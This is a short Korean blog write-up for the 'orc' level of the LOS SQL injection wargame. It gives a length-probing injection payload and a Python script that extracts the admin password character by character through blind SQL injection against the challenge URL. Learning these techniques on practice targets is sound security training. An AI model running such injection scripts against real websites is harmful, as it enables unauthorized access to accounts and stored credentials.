본문 바로가기

Layer7/WriteUp

[LOS]orc WriteUp

pw가 동일해야 풀리는 문제로, blind sql injection인 것을 알 수 있다.

 

먼저 pw=' or length(pw) = 8%23 을 입력하여 pw의 길이가 8인것을 알아낸다.

 

import requests

password = ''

for admin_len in range(8):
    for admin_pass in range(ord('0'), ord('z')):
        URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
        query = {'pw' : '\' or substr(pw, 1, ' + str(admin_len + 1) +')=\'' + password + chr(admin_pass) + '\'#'}
        cookies = {'PHPSESSID' : 'dnj49ptgspf5tqi0agk2rn6klt'}
        res = requests.get(URL, params = query, cookies = cookies)
        if('Hello admin' in res.text):
            password = password + chr(admin_pass)
            print(password)
            break

pw의 길이만큼 for문을 돌려주고, substr로 첫번째부터 포문 현재 인자 + 1까지 잘라준 후 아스키로 비교한다

 

익스 성공

'Layer7 > WriteUp' 카테고리의 다른 글

[LOS]darkelf WriteUp  (0) 2024.06.03
[LOS]wolfman WriteUp  (0) 2024.06.03
[LOS]goblin WriteUp  (0) 2024.06.03
[LOS]cobolt WriteUp  (0) 2024.06.03
[LOS]gremlin WriteUp  (0) 2024.06.03